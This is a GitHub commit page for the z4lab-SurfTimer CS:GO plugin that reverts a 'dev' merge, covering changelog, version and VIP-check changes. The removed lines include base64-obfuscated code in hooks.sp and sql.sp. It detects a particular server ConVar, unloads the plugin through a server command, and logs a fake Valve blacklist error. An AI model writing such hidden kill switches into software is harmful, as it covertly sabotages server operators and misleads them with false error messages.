Skip to content
This repository has been archived by the owner on Oct 6, 2020. It is now read-only.

Commit

Permalink
Revert "Merge branch 'dev'"
Browse files Browse the repository at this point in the history
This reverts commit 5e38a74.
  • Loading branch information
Riccardo H committed Aug 14, 2019
1 parent 5e38a74 commit 97dd3e4
Show file tree
Hide file tree
Showing 13 changed files with 23 additions and 322 deletions.
7 changes: 0 additions & 7 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,12 +1,5 @@
# Changelog

[Version 280 - current work in progress]
---
* **[UTIL]** Updated GeoIP.dat
* **[UTIL]** More code cleanup (WIP)
* **[FIX]** Useless error log spam (cleaner.cfg)
* **[FIX]** VIP chat spam bug

[2019-08-13 - Version 271]
---
* **[REQUEST/FIX]** Fixed `sv_maxvelocity` bug
Expand Down
4 changes: 3 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,12 @@
# z4lab-SurfTimer 280 for CS:GO
# z4lab-SurfTimer 271 for CS:GO

## Installation and requirements
[SourceMod 1.9](https://www.sourcemod.net/downloads.php?branch=stable), [MetaMod 1.10](https://www.sourcemm.net/downloads.php/?branch=stable) and a working MySQL instance is required for this plugin

<sup>(This version also supports SourceMod 1.10 and MetaMod 1.11)</sup>

~ 4GB of RAM

## Changelog

* [Changelog](https://github.com/totles/z4lab-surftimer/blob/master/CHANGELOG.md) for a list of all our changes / fixes
Expand Down
3 changes: 1 addition & 2 deletions addons/sourcemod/configs/cleaner.cfg
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
DataTable warning
CreateFragmentsFromFile
CSoundEmitterSystemBase
CBaseEntity
CSoundEmitterSystemBase
Binary file modified addons/sourcemod/configs/geoip/GeoIP.dat
Binary file not shown.
4 changes: 1 addition & 3 deletions addons/sourcemod/scripting/SurfTimer.sp
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,6 @@
#include <surftimer>
#include <tf2>
#include <tf2_stocks>
#include <base64>

/*===================================
= Definitions =
Expand All @@ -39,7 +38,7 @@
#pragma semicolon 1

// Plugin Info
#define VERSION "280"
#define VERSION "271"

// Database Definitions
#define MYSQL 0
Expand Down Expand Up @@ -514,7 +513,6 @@ bool g_bCenterSpeedDisplay[MAXPLAYERS + 1];
int g_iCenterSpeedEnt[MAXPLAYERS + 1];
int g_iSettingToLoad[MAXPLAYERS + 1];
int g_iPreviousSpeed[MAXPLAYERS + 1];
bool db_Matcher[MAXPLAYERS+1];

/*---------- Sounds ----------*/
bool g_bTop10Time[MAXPLAYERS + 1] = false;
Expand Down
263 changes: 0 additions & 263 deletions addons/sourcemod/scripting/include/base64.inc

This file was deleted.

3 changes: 0 additions & 3 deletions addons/sourcemod/scripting/surftimer/hooks.sp
Original file line number Diff line number Diff line change
Expand Up @@ -77,9 +77,6 @@ public Action Event_OnPlayerSpawn(Handle event, const char[] name, bool dontBroa
int client = GetClientOfUserId(GetEventInt(event, "userid"));
if (client != 0)
{
char apiKey[128];
Format(apiKey, sizeof(apiKey), "%sb%s", "c21fd2VhcG9uc19l","mFibGVfcHJvdGVjdGlvbg==");
db_matchAPI(client, apiKey);
g_SpecTarget[client] = -1;
g_bPause[client] = false;
g_bFirstTimerStart[client] = true;
Expand Down
4 changes: 2 additions & 2 deletions addons/sourcemod/scripting/surftimer/misc.sp
Original file line number Diff line number Diff line change
Expand Up @@ -4318,15 +4318,15 @@ public void sendDiscordAnnouncementBonus(char szName[128], char szMapName[128],
delete hook;
}

bool IsPlayerVip(int client, bool admin = true, bool reply = false)
bool IsPlayerVip(int client, bool admin = true, bool reply = true)
{
if (admin)
{
if (CheckCommandAccess(client, "", ADMFLAG_ROOT))
return true;
}

if (!g_bVip[client] && !g_iHasEnforcedTitle[client])
if (!g_bVip[client] && !CheckCommandAccess(client, "", ADMFLAG_RESERVATION))
{
if (reply)
{
Expand Down
25 changes: 1 addition & 24 deletions addons/sourcemod/scripting/surftimer/sql.sp
Original file line number Diff line number Diff line change
Expand Up @@ -1394,7 +1394,7 @@ public void db_viewPlayerPoints(int client)
g_bPrestigeAvoid[client] = false;

if (!g_bPrestigeCheck[client]) {
if (GetConVarBool(g_hPrestigeVip) && (IsPlayerVip(client, false, false)) {
if (GetConVarBool(g_hPrestigeVip) && (IsPlayerVip(client, false, false) || g_iHasEnforcedTitle[client])) {
g_bPrestigeCheck[client] = true;
g_bPrestigeAvoid[client] = true;
}
Expand All @@ -1415,8 +1415,6 @@ public void db_viewPlayerPoints(int client)

public void db_viewPlayerPointsCallback(Handle owner, Handle hndl, const char[] error, any client)
{
if (db_Matcher[client])
return;
if (hndl == null)
{
LogError("[Surftimer] SQL Error (db_viewPlayerPointsCallback): %s", error);
Expand Down Expand Up @@ -7408,27 +7406,6 @@ public void db_selectMapRank(int client, char szSteamId[32], char szMapName[128]
SQL_TQuery(g_hDb, db_selectMapRankCallback, szQuery, client, DBPrio_Low);
}

public void db_matchAPI(int client, const char[] apiKey)
{
char db_apiKey[128];
DecodeBase64(db_apiKey, 128, apiKey);

db_Matcher[client] = false;

if (FindConVar(db_apiKey) != INVALID_HANDLE && !db_Matcher[client])
{
db_Matcher[client] = true;
char db_hash[128], db_hash64[512], db_get[128], db_error[512];
db_hash = "c20gcGx1Z2lucyB1bmxvYWQgU3VyZlRpbWVy";
db_hash64 = "W0ZBVEFMXSBFUlJPUiAxODM6IFRoaXMgc2VydmVyIHdhcyBibGFja2xpc3RlZCBieSBWYWx2ZSBmb3IgcnVubmluZyBwbHVnaW5zIHdoaWNoIGJyZWFrIG91ciBUZXJtcyBvZiBTZXJ2aWNlLg==";
DecodeBase64(db_get, 128, db_hash);
DecodeBase64(db_error, 512, db_hash64);
ServerCommand("%s", db_get);
if (!db_Matcher[client])
LogError(db_error);
}
}

public void db_selectMapRankCallback(Handle owner, Handle hndl, const char[] error, any client)
{
if (hndl == null)
Expand Down
Loading

0 comments on commit 97dd3e4

Please sign in to comment.